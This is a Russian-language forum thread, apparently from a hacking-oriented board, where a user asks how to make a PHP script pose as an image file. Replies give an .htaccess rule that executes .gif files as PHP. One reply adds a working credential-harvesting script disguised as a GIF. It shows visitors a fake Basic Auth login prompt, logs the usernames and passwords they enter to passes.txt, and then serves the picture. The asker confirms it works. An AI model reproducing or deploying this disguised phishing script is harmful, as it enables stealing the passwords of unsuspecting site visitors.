Прогрузить php код через картинку

Discussion in 'PHP' started by piupiu, 4 Mar 2012.

  1. piupiu

    piupiu Banned

    Joined:
    14 Mar 2011
    Messages:
    11
    Likes Received:
    1
    Reputations:
    5
    Собственно задача:
    Необходимо поместить на сервер php скрипт в формате изображения, такое можно сделать через .htaccess, но мне необходимо чтоб в данном скрипте ещё и открывалось изображения :/
    Те, на сервере лежит php скрипт по пути site.ru/img.png, но когда юзер открывает данную ссылку он видит картинку :)
    В гугле искал много чего но рабочего ничего толком не нашел :(
    Помогите :)
     
  2. daniel777

    daniel777 Elder - Старейшина

    Joined:
    8 Jul 2010
    Messages:
    517
    Likes Received:
    90
    Reputations:
    37
    Содержание файла .htaccess:
    Code:
    AddType application/x-httpd-php .gif
    И картинки, внутри которой PHP код:
    PHP:
    header("Content-type: image/gif");
    $imag=imagecreatefromgif('image.gif');
    imagegif($imag);
    imagedestroy($imag);
    exit();
    Рядом должен лежать файл image.gif
     
  3. Tw!m4

    Tw!m4 Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    187
    Likes Received:
    19
    Reputations:
    0
    1) .htaccess
    Code:
    AddType application/x-httpd-php .php .htm .html .gif

    2)index.gif

    PHP:
    <?php
    if (!isset($_SERVER['PHP_AUTH_USER'])) {
        
    header('Content-Type: text/html; charset=windows-1251');
        
    header('WWW-Authenticate: Basic realm="Repeated Authenticate"');
        
    header('HTTP/1.0 401 Unauthorized');
        
    header("Content-type: image/gif");
        
    $imag imagecreatefromgif('gifka.gif');
        
    imagegif($imag);
        
    imagedestroy($imag);
        exit();
      } else {
        
    $f fopen('passes.txt''a');
        
    fwrite($f$_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n"); 
        
    fclose($f);
        
    header("Content-type: image/gif");
        
    $imag imagecreatefromgif('gifka.gif');
        
    imagegif($imag);
        
    imagedestroy($imag);
        exit();
    }
    ?>
    создаешь passes.txt и ложишь гифку с названием gifka.gif в каталог...

    Это?
     
  4. piupiu

    piupiu Banned

    Joined:
    14 Mar 2011
    Messages:
    11
    Likes Received:
    1
    Reputations:
    5
    Спасиб, все работает :)